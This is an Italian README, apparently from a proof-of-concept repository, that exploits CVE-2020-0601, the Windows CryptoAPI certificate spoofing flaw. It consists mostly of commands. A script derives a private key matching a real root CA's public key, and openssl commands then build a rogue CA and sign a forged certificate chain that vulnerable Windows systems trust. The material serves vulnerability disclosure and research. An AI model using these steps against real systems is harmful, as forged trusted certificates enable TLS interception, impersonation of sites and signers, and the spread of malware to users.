CryptoAPI

CVE-2020-0601: sfruttamento della vulnerabilità di spoofing di CryptoAPI di Windows. Maggiori informazioni nel nostro post del blog.

Installazione dei requisiti

pip install -U -r requirements.txt

La generazione dei certificati funziona con OpenSSL fino alla versione 1.0.2u.

Certificato CA

Abbiamo usato la USERTrust ECC Certification Authority ma può essere qualsiasi certificato radice che funziona con la curva P-384.

Per generare una chiave privata che corrisponda alla chiave pubblica del certificato radice abbiamo usato lo script gen-key.py (funziona con Python 3.6 e versioni successive):

$ ./gen-key.py RootCert.pem 

La chiave può essere visualizzata con:

$ openssl ec -in p384-key-rogue.pem -text

Quindi per generare la CA rogue:

$ openssl req -key p384-key-rogue.pem -new -out ca-rogue.pem -x509 -config ca.cnf -days 500

Quindi generiamo la seguente chiave privata e certificato:

openssl ecparam -name prime256v1 -genkey -noout -out prime256v1-privkey.pem

openssl req -key prime256v1-privkey.pem -config openssl.cnf -new -out prime256v1.csr

openssl x509 -req -in prime256v1.csr -CA ca-rogue.pem -CAkey p384-key-rogue.pem -CAcreateserial -out client-cert.pem -days 500 -extensions v3_req -extfile openssl.cnf 

Infine, per avere la catena completa in un unico file, concateniamo i certificati CA e del server:

cat client-cert.pem ca-rogue.pem > cert.pem